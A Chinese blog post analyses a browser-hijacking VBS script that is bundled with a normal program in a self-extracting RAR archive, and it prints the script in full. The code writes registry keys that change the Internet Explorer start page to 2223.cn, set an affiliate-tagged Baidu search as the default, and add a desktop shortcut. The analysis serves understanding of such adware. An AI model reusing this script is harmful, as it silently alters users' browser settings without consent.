VBS 脚本文件和正常程序一起打包成自解压 RAR 格式,打开时会首先执行 MS.VBS。
利用 WScript.Shell 写入注册表修改 IE 主页为 www. 2223 .cn;修改 IE 搜索引擎为 baidu .com/s?tn=youxiawang_pg& 形式;桌面生成一个网页快捷方式“2223网址导航”,其目标为 http://www. 2223 .cn/。
抱着学习的态度看看 MS.VBS 代码

:

显示被隐藏内容
DIM AUTO
SET AUTO=CreateObject("WScript.shell")
AUTO.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.2223.cn"
AUTO.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes\{1541925C-3C2A-462A-8D83-F66ECFE23157}\URL","http://www.baidu.com/s?tn=youxiawang_pg&wd={searchTerms}&cl=3&ie=utf-8"
AUTO.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes\{1541925C-3C2A-462A-8D83-F66ECFE23157}\DisplayName","百度"
AUTO.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes\DefaultScope","{1541925C-3C2A-462A-8D83-F66ECFE23157}"
set objShell = WScript.CreateObject("WScript.Shell")
strDesktop = objShell.SpecialFolders.Item("Desktop")
set objLink = objShell.CreateShortcut(strDesktop & "\2223网址导航.lnk")
objLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.Arguments = "http://www.2223.cn/"
objLink.Save
wscript.quit

隐藏内容
该内容已经被作者隐藏,只有会员才允许查阅
登录 |
注册
评论: 0 | 引用: 0 | 查看次数: 6634